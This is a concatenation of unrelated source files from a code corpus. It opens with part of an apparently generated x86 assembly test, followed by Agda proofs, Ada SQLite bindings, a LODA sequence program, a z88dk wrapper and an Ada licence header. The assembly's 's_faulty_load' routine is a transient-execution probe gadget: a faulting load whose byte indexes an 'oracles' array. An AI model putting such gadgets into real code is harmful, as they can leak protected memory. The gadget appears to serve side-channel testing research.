lea addresses_UC_ht+0x87c2, %r15
nop
nop
nop
nop
nop
cmp $55128, %rcx
movb (%r15), %al
and $53396, %r15
lea addresses_WT_ht+0x16752, %rsi
lea addresses_WC_ht+0x14ebf, %rdi
nop
nop
dec %r15
mov $7, %rcx
rep movsw
xor $2364, %rcx
lea addresses_WC_ht+0x112d2, %rsi
lea addresses_UC_ht+0x12cd2, %rdi
clflush (%rsi)
nop
nop
sub %r15, %r15
mov $123, %rcx
rep movsw
nop
nop
nop
nop
nop
xor $56884, %rsi
lea addresses_normal_ht+0x1a0d6, %rcx
nop
nop
nop
nop
nop
xor $48824, %r12
movb $0x61, (%rcx)
add $4782, %r15
lea addresses_normal_ht+0x13580, %rsi
lea addresses_D_ht+0x14cd4, %rdi
nop
and %r12, %r12
mov $52, %rcx
rep movsw
cmp $12040, %r15
lea addresses_D_ht+0x7d59, %rax
nop
nop
nop
cmp $44743, %rsi
movups (%rax), %xmm3
vpextrq $1, %xmm3, %r15
nop
nop
nop
sub $559, %r15
lea addresses_WT_ht+0x7fd2, %r12
nop
nop
nop
dec %r13
movb $0x61, (%r12)
nop
xor %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %r9
// Faulty Load
mov $0x1065cb0000000cd2, %r11
nop
sub %r15, %r15
vmovups (%r11), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %r9
lea oracles, %r15
and $0xff, %r9
shlq $12, %r9
mov (%r15,%r9,1), %r9
pop %r9
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}}
{'72': 3, '44': 4134, '00': 490}
44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 44 44 00 44 44 00 44 44 44 00 44 44 44 00 44 44 44 44 44 44 44 44 00 44 44 44 00 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 00 44 44 44 00 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 00 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 44 44 44 44 44 44 00 44 00 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 00 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 00 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 44 44 44 44 44 00 44 00 44 44 44 44 44 00 44 44 44 44 44 00 44 44 44 44 00 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 00 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 72 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 00 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 00 44 44 00 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 00 44 44 00 00 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44
*/
|
test/interaction/Issue4333/N0.agda | shlevy/agda | 1,989 | 17091 | {-# OPTIONS --rewriting --confluence-check #-}
module Issue4333.N0 where
open import Issue4333.M
{-# REWRITE p₀ #-}
b₀' : B a₀'
b₀' = b
|
part1/lists/map-++-distribute.agda | akiomik/plfa-solutions | 1 | 14266 | module map-++-distribute where
import Relation.Binary.PropositionalEquality as Eq
open Eq using (_≡_; refl; cong)
open Eq.≡-Reasoning
open import lists using (List; []; _∷_; _++_; map)
-- リストの結合に関するmapの分配法則の証明
map-++-distribute : {A B : Set} → (f : A → B) → (xs ys : List A)
→ map f (xs ++ ys) ≡ map f xs ++ map f ys
map-++-distribute f [] ys =
begin
map f ([] ++ ys)
≡⟨⟩
map f ys
≡⟨⟩
map f [] ++ map f ys
∎
map-++-distribute f (x ∷ xs) ys =
begin
map f ((x ∷ xs) ++ ys)
≡⟨⟩
f x ∷ map f (xs ++ ys)
≡⟨ cong (f x ∷_) (map-++-distribute f xs ys) ⟩
f x ∷ map f xs ++ map f ys
≡⟨⟩
map f (x ∷ xs) ++ map f ys
∎
|
src/Lifting/Partiality-monad.agda | nad/partiality-monad | 2 | 8091 | ------------------------------------------------------------------------
-- An alternative but equivalent definition of the partiality monad
-- (but only for sets), based on the lifting construction in Lifting
------------------------------------------------------------------------
-- The code in this module is based on a suggestion from Paolo
-- Capriotti.
{-# OPTIONS --erased-cubical --safe #-}
open import Prelude hiding (T; ⊥)
module Lifting.Partiality-monad {a : Level} where
open import Equality.Propositional.Cubical
open import Logical-equivalence using (_⇔_)
open import Bijection equality-with-J using (_↔_)
open import Equivalence equality-with-J as Eq using (_≃_)
open import Function-universe equality-with-J hiding (⊥↔⊥)
open import H-level equality-with-J
import Lifting
open import Omega-cpo
import Partiality-monad.Inductive as I
import Partiality-monad.Inductive.Eliminators as IE
private
module L {A : Set a} = Lifting (Set→ω-cpo A)
-- The partiality monad as an ω-cppo.
partiality-monad : Set a → ω-cppo a a
partiality-monad A = L.cppo {A = A}
-- The partiality monad.
infix 10 _⊥
infix 4 _⊑_
_⊥ : Set a → Type a
A ⊥ = ω-cppo.Carrier (partiality-monad A)
_⊑_ : ∀ {A} → A ⊥ → A ⊥ → Type a
_⊑_ {A = A} = ω-cppo._⊑_ (partiality-monad A)
-- This definition of the partiality monad is isomorphic to the
-- definition in Partiality-monad.Inductive.
private
argsL :
∀ {A} →
L.Rec-args (λ (_ : A ⊥) → ⌞ A ⌟ I.⊥) (λ x y _ → x I.⊑ y)
argsL = record
{ pe = I.never
; po = I.now
; pl = λ _ → I.⨆
; pa = λ x⊑y y⊑x p-x p-y p-x⊑p-y p-y⊑p-x →
subst (const _) (L.antisymmetry x⊑y y⊑x) p-x ≡⟨ subst-const (L.antisymmetry x⊑y y⊑x) ⟩
p-x ≡⟨ I.antisymmetry p-x⊑p-y p-y⊑p-x ⟩∎
p-y ∎
; pp = I.⊥-is-set
; qr = λ _ → I.⊑-refl
; qt = λ _ _ _ _ _ → I.⊑-trans
; qe = λ _ → I.never⊑
; qu = λ _ → I.upper-bound
; ql = λ _ _ _ → I.least-upper-bound
; qm = λ { refl → I.⊑-refl _ }
; q⨆ = λ s →
I.now (proj₁ s 0) I.⊑⟨ I.upper-bound _ 0 ⟩■
I.⨆ ((λ n → I.now (proj₁ s n)) , _) ■
; qp = λ _ _ _ → I.⊑-propositional
}
argsI : ∀ {A} → IE.Arguments-nd a a ⌞ A ⌟
argsI {A} = record
{ P = A ⊥
; Q = _⊑_
; pe = L.never
; po = L.now
; pl = λ _ → L.⨆
; pa = λ _ _ → L.antisymmetry
; ps = L.Carrier-is-set
; qr = λ _ → L.⊑-refl
; qt = λ _ _ → L.⊑-trans
; qe = λ _ → L.never⊑
; qu = λ _ → L.upper-bound
; ql = λ _ _ _ → L.least-upper-bound
; qp = λ _ _ → L.⊑-propositional
}
⊥↔⊥ : ∀ {A} → A ⊥ ↔ ⌞ A ⌟ I.⊥
⊥↔⊥ = record
{ surjection = record
{ logical-equivalence = record
{ to = L.⊥-rec argsL
; from = IE.⊥-rec-nd argsI
}
; right-inverse-of = IE.⊥-rec-⊥ (record
{ pe = L.⊥-rec argsL (IE.⊥-rec-nd argsI I.never) ≡⟨ cong (L.⊥-rec argsL) (IE.⊥-rec-nd-never argsI) ⟩
L.⊥-rec argsL L.never ≡⟨ L.⊥-rec-never _ ⟩∎
I.never ∎
; po = λ x →
L.⊥-rec argsL (IE.⊥-rec-nd argsI (I.now x)) ≡⟨ cong (L.⊥-rec argsL) (IE.⊥-rec-nd-now argsI _) ⟩
L.⊥-rec argsL (L.now x) ≡⟨ L.⊥-rec-now _ _ ⟩∎
I.now x ∎
; pl = λ s ih →
L.⊥-rec argsL (IE.⊥-rec-nd argsI (I.⨆ s)) ≡⟨ cong (L.⊥-rec argsL) (IE.⊥-rec-nd-⨆ argsI _) ⟩
L.⊥-rec argsL (L.⨆ (IE.inc-rec-nd argsI s)) ≡⟨ L.⊥-rec-⨆ _ _ ⟩
I.⨆ (L.inc-rec argsL (IE.inc-rec-nd argsI s)) ≡⟨ cong I.⨆ $ _↔_.to I.equality-characterisation-increasing ih ⟩∎
I.⨆ s ∎
; pp = λ _ → I.⊥-is-set
})
}
; left-inverse-of = L.⊥-rec {Q = λ _ _ _ → ⊤} (record
{ pe = IE.⊥-rec-nd argsI (L.⊥-rec argsL L.never) ≡⟨ cong (IE.⊥-rec-nd argsI) (L.⊥-rec-never _) ⟩
IE.⊥-rec-nd argsI I.never ≡⟨ IE.⊥-rec-nd-never argsI ⟩∎
L.never ∎
; po = λ x →
IE.⊥-rec-nd argsI (L.⊥-rec argsL (L.now x)) ≡⟨ cong (IE.⊥-rec-nd argsI) (L.⊥-rec-now _ _) ⟩
IE.⊥-rec-nd argsI (I.now x) ≡⟨ IE.⊥-rec-nd-now argsI _ ⟩∎
L.now x ∎
; pl = λ s ih →
IE.⊥-rec-nd argsI (L.⊥-rec argsL (L.⨆ s)) ≡⟨ cong (IE.⊥-rec-nd argsI) (L.⊥-rec-⨆ _ _) ⟩
IE.⊥-rec-nd argsI (I.⨆ (L.inc-rec argsL s)) ≡⟨ IE.⊥-rec-nd-⨆ argsI _ ⟩
L.⨆ (IE.inc-rec-nd argsI (L.inc-rec argsL s)) ≡⟨ cong L.⨆ $ _↔_.to L.equality-characterisation-increasing (proj₁ ih) ⟩∎
L.⨆ s ∎
; pa = λ _ _ _ _ _ _ → L.Carrier-is-set _ _
; pp = mono₁ 1 L.Carrier-is-set
; qp = λ _ _ _ _ _ → refl
})
}
⊑≃⊑ : ∀ {A} {x y : A ⊥} →
(x ⊑ y) ≃ (_↔_.to ⊥↔⊥ x I.⊑ _↔_.to ⊥↔⊥ y)
⊑≃⊑ {x = x} {y} =
_↔_.to (Eq.⇔↔≃ ext L.⊑-propositional I.⊑-propositional)
(record
{ to = L.⊑-rec argsL
; from =
_↔_.to ⊥↔⊥ x I.⊑ _↔_.to ⊥↔⊥ y ↝⟨ IE.⊑-rec-nd argsI ⟩
_↔_.from ⊥↔⊥ (_↔_.to ⊥↔⊥ x) ⊑
_↔_.from ⊥↔⊥ (_↔_.to ⊥↔⊥ y) ↝⟨ ≡⇒↝ _ (cong₂ _⊑_ (_↔_.left-inverse-of ⊥↔⊥ _)
(_↔_.left-inverse-of ⊥↔⊥ _)) ⟩□
x ⊑ y □
})
|
source/sql/sqlite3/matreshka-internals-sql_drivers-sqlite3.ads | svn2github/matreshka | 24 | 29070 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- SQL Database Access --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2013, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This package is low level bindings to SQLite3 library.
------------------------------------------------------------------------------
with Interfaces.C;
with Matreshka.Internals.Strings.C;
with Matreshka.Internals.Utf16;
package Matreshka.Internals.SQL_Drivers.SQLite3 is
pragma Preelaborate;
----------------
-- Data types --
----------------
type sqlite3 is limited private;
type sqlite3_Access is access all sqlite3;
pragma Convention (C, sqlite3_Access);
type sqlite3_stmt is limited private;
type sqlite3_stmt_Access is access all sqlite3_stmt;
pragma Convention (C, sqlite3_stmt_Access);
type Utf16_Code_Unit_Access_Destructor is
access procedure
(Text : Matreshka.Internals.Strings.C.Utf16_Code_Unit_Access);
pragma Convention (C, Utf16_Code_Unit_Access_Destructor);
---------------
-- Constants --
---------------
SQLITE_OK : constant := 0; -- Successful result
--#define SQLITE_ERROR 1 /* SQL error or missing database */
--#define SQLITE_INTERNAL 2 /* Internal logic error in SQLite */
--#define SQLITE_PERM 3 /* Access permission denied */
--#define SQLITE_ABORT 4 /* Callback routine requested an abort */
--#define SQLITE_BUSY 5 /* The database file is locked */
--#define SQLITE_LOCKED 6 /* A table in the database is locked */
--#define SQLITE_NOMEM 7 /* A malloc() failed */
--#define SQLITE_READONLY 8 /* Attempt to write a readonly database */
--#define SQLITE_INTERRUPT 9 /* Operation terminated by sqlite3_interrupt()*/
--#define SQLITE_IOERR 10 /* Some kind of disk I/O error occurred */
--#define SQLITE_CORRUPT 11 /* The database disk image is malformed */
--#define SQLITE_NOTFOUND 12 /* Unknown opcode in sqlite3_file_control() */
--#define SQLITE_FULL 13 /* Insertion failed because database is full */
--#define SQLITE_CANTOPEN 14 /* Unable to open the database file */
--#define SQLITE_PROTOCOL 15 /* Database lock protocol error */
--#define SQLITE_EMPTY 16 /* Database is empty */
--#define SQLITE_SCHEMA 17 /* The database schema changed */
--#define SQLITE_TOOBIG 18 /* String or BLOB exceeds size limit */
--#define SQLITE_CONSTRAINT 19 /* Abort due to constraint violation */
--#define SQLITE_MISMATCH 20 /* Data type mismatch */
--#define SQLITE_MISUSE 21 /* Library used incorrectly */
--#define SQLITE_NOLFS 22 /* Uses OS features not supported on host */
--#define SQLITE_AUTH 23 /* Authorization denied */
--#define SQLITE_FORMAT 24 /* Auxiliary database format error */
--#define SQLITE_RANGE 25 /* 2nd parameter to sqlite3_bind out of range */
--#define SQLITE_NOTADB 26 /* File opened that is not a database file */
SQLITE_ROW : constant := 100; -- sqlite3_step() has another row
-- ready
SQLITE_DONE : constant := 101; -- sqlite3_step() has finished
-- executing
SQLITE_CONFIG_SINGLETHREAD : constant := 1; -- nil
SQLITE_CONFIG_MULTITHREAD : constant := 2; -- nil
SQLITE_CONFIG_SERIALIZED : constant := 3; -- nil
--#define SQLITE_CONFIG_MALLOC 4 /* sqlite3_mem_methods* */
--#define SQLITE_CONFIG_GETMALLOC 5 /* sqlite3_mem_methods* */
--#define SQLITE_CONFIG_SCRATCH 6 /* void*, int sz, int N */
--#define SQLITE_CONFIG_PAGECACHE 7 /* void*, int sz, int N */
--#define SQLITE_CONFIG_HEAP 8 /* void*, int nByte, int min */
--#define SQLITE_CONFIG_MEMSTATUS 9 /* boolean */
--#define SQLITE_CONFIG_MUTEX 10 /* sqlite3_mutex_methods* */
--#define SQLITE_CONFIG_GETMUTEX 11 /* sqlite3_mutex_methods* */
--/* previously SQLITE_CONFIG_CHUNKALLOC 12 which is now unused. */
--#define SQLITE_CONFIG_LOOKASIDE 13 /* int int */
--#define SQLITE_CONFIG_PCACHE 14 /* sqlite3_pcache_methods* */
--#define SQLITE_CONFIG_GETPCACHE 15 /* sqlite3_pcache_methods* */
--#define SQLITE_CONFIG_LOG 16 /* xFunc, void* */
SQLITE_INTEGER : constant := 1;
SQLITE_FLOAT : constant := 2;
SQLITE_TEXT : constant := 3;
SQLITE_BLOB : constant := 4;
SQLITE_NULL : constant := 5;
---------------
-- Functions --
---------------
function sqlite3_bind_double
(Handle : sqlite3_stmt_Access;
Index : Interfaces.C.int;
Value : Interfaces.C.double) return Interfaces.C.int;
pragma Import (C, sqlite3_bind_double);
function sqlite3_bind_int64
(Handle : sqlite3_stmt_Access;
Index : Interfaces.C.int;
Value : Interfaces.Integer_64) return Interfaces.C.int;
pragma Import (C, sqlite3_bind_int64);
function sqlite3_bind_null
(Handle : sqlite3_stmt_Access;
Index : Interfaces.C.int) return Interfaces.C.int;
pragma Import (C, sqlite3_bind_null);
function sqlite3_bind_parameter_count
(Handle : sqlite3_stmt_Access) return Interfaces.C.int;
pragma Import (C, sqlite3_bind_parameter_count);
function sqlite3_bind_parameter_index
(Handle : sqlite3_stmt_Access;
Name : Interfaces.C.char_array) return Interfaces.C.int;
pragma Import (C, sqlite3_bind_parameter_index);
function sqlite3_bind_text16
(Handle : sqlite3_stmt_Access;
Index : Interfaces.C.int;
Text : Matreshka.Internals.Strings.C.Utf16_Code_Unit_Access;
nBytes : Interfaces.C.int;
Destructor : Utf16_Code_Unit_Access_Destructor) return Interfaces.C.int;
pragma Import (C, sqlite3_bind_text16);
function sqlite3_close (Handle : sqlite3_Access) return Interfaces.C.int;
pragma Import (C, sqlite3_close);
function sqlite3_column_bytes16
(Handle : sqlite3_stmt_Access;
iCol : Interfaces.C.int) return Interfaces.C.int;
pragma Import (C, sqlite3_column_bytes16);
function sqlite3_column_double
(Handle : sqlite3_stmt_Access;
iCol : Interfaces.C.int) return Interfaces.C.double;
pragma Import (C, sqlite3_column_double);
function sqlite3_column_int64
(Handle : sqlite3_stmt_Access;
iCol : Interfaces.C.int) return Interfaces.Integer_64;
pragma Import (C, sqlite3_column_int64);
function sqlite3_column_text16
(Handle : sqlite3_stmt_Access;
iCol : Interfaces.C.int)
return Matreshka.Internals.Strings.C.Utf16_Code_Unit_Access;
pragma Import (C, sqlite3_column_text16);
function sqlite3_column_type
(Handle : sqlite3_stmt_Access;
iCol : Interfaces.C.int) return Interfaces.C.int;
pragma Import (C, sqlite3_column_type);
function sqlite3_config (Option : Interfaces.C.int) return Interfaces.C.int;
pragma Import (C, sqlite3_config);
function sqlite3_errmsg16
(db : sqlite3_Access)
return Matreshka.Internals.Strings.C.Utf16_Code_Unit_Access;
pragma Import (C, sqlite3_errmsg16);
function sqlite3_finalize
(Handle : sqlite3_stmt_Access) return Interfaces.C.int;
pragma Import (C, sqlite3_finalize);
function sqlite3_last_insert_rowid
(Handle : sqlite3_Access) return Interfaces.Integer_64;
pragma Import (C, sqlite3_last_insert_rowid);
function sqlite3_open16
(File_Name : Matreshka.Internals.Utf16.Utf16_String;
-- Handle : out sqlite3_Access) return Interfaces.C.int;
Handle : not null access sqlite3_Access) return Interfaces.C.int;
pragma Import (C, sqlite3_open16);
function sqlite3_prepare16_v2
(db : sqlite3_Access;
zSql : Matreshka.Internals.Utf16.Utf16_String;
nByte : Interfaces.C.int;
-- ppStmt : out sqlite3_stmt_Access;
-- pzTail : out Utf16_Code_Unit_Access) return Interfaces.C.int;
ppStmt : not null access sqlite3_stmt_Access;
pzTail :
not null access Matreshka.Internals.Strings.C.Utf16_Code_Unit_Access)
return Interfaces.C.int;
pragma Import (C, sqlite3_prepare16_v2);
function sqlite3_reset
(pStmt : sqlite3_stmt_Access) return Interfaces.C.int;
pragma Import (C, sqlite3_reset);
function sqlite3_step
(Handle : sqlite3_stmt_Access) return Interfaces.C.int;
pragma Import (C, sqlite3_step);
private
type sqlite3 is limited null record;
type sqlite3_stmt is limited null record;
end Matreshka.Internals.SQL_Drivers.SQLite3;
|
oeis/284/A284633.asm | neoneye/loda-programs | 11 | 99846 | <reponame>neoneye/loda-programs<filename>oeis/284/A284633.asm
; A284633: Numbers n with digits 3 and 6 only.
; 3,6,33,36,63,66,333,336,363,366,633,636,663,666,3333,3336,3363,3366,3633,3636,3663,3666,6333,6336,6363,6366,6633,6636,6663,6666,33333,33336,33363,33366,33633,33636,33663,33666,36333,36336,36363,36366,36633,36636
seq $0,32924 ; Numbers whose ternary expansion contains no 0.
seq $0,7089 ; Numbers in base 3.
mul $0,3
|
libsrc/_DEVELOPMENT/arch/hbios/c/sccz80/hbios_e_de.asm | Frodevan/z88dk | 640 | 82771 | <filename>libsrc/_DEVELOPMENT/arch/hbios/c/sccz80/hbios_e_de.asm
; uint8_t hbios_e_de(uint16_t func_device, uint16_t arg) __smallc
SECTION code_clib
SECTION code_arch
PUBLIC hbios_e_de
EXTERN asm_hbios_e
.hbios_e_de
pop af
pop de
pop bc
push bc
push de
push af
jp asm_hbios_e
|
src/Categories/Diagram/Wedge.agda | Trebor-Huang/agda-categories | 279 | 5824 | <filename>src/Categories/Diagram/Wedge.agda
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
open import Categories.Functor.Bifunctor
module Categories.Diagram.Wedge {o ℓ e o′ ℓ′ e′} {C : Category o ℓ e} {D : Category o′ ℓ′ e′}
(F : Bifunctor (Category.op C) C D) where
private
module C = Category C
module D = Category D
open D
open HomReasoning
variable
A : Obj
open import Level
open import Categories.Functor hiding (id)
open import Categories.Functor.Construction.Constant
open import Categories.NaturalTransformation.Dinatural
open Functor F
record Wedge : Set (levelOfTerm F) where
field
E : Obj
dinatural : DinaturalTransformation (const E) F
module dinatural = DinaturalTransformation dinatural
Wedge-∘ : (W : Wedge) → A ⇒ Wedge.E W → Wedge
Wedge-∘ {A = A} W f = record
{ E = A
; dinatural = extranaturalʳ (λ X → dinatural.α X ∘ f)
(sym-assoc ○ ∘-resp-≈ˡ (extranatural-commʳ dinatural) ○ assoc)
}
where open Wedge W
record Wedge-Morphism (W₁ W₂ : Wedge) : Set (levelOfTerm F) where
private
module W₁ = Wedge W₁
module W₂ = Wedge W₂
open DinaturalTransformation
field
u : W₁.E ⇒ W₂.E
commute : ∀ {C} → W₂.dinatural.α C ∘ u ≈ W₁.dinatural.α C
Wedge-id : ∀ {W} → Wedge-Morphism W W
Wedge-id {W} = record { u = D.id ; commute = D.identityʳ }
Wedge-Morphism-∘ : {A B C : Wedge} → Wedge-Morphism B C → Wedge-Morphism A B → Wedge-Morphism A C
Wedge-Morphism-∘ M N = record { u = u M ∘ u N ; commute = sym-assoc ○ (∘-resp-≈ˡ (commute M) ○ commute N) }
where
open Wedge-Morphism
open HomReasoning
|
tests/util_tests.adb | Componolit/libsparkcrypto | 30 | 5342 | <reponame>Componolit/libsparkcrypto
-------------------------------------------------------------------------------
-- This file is part of libsparkcrypto.
--
-- @author <NAME>
-- @date 2019-01-16
--
-- Copyright (C) 2018 Componolit GmbH
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- * Redistributions of source code must retain the above copyright notice,
-- this list of conditions and the following disclaimer.
--
-- * Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
--
-- * Neither the name of the nor the names of its contributors may be used
-- to endorse or promote products derived from this software without
-- specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
-- BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-- POSSIBILITY OF SUCH DAMAGE.
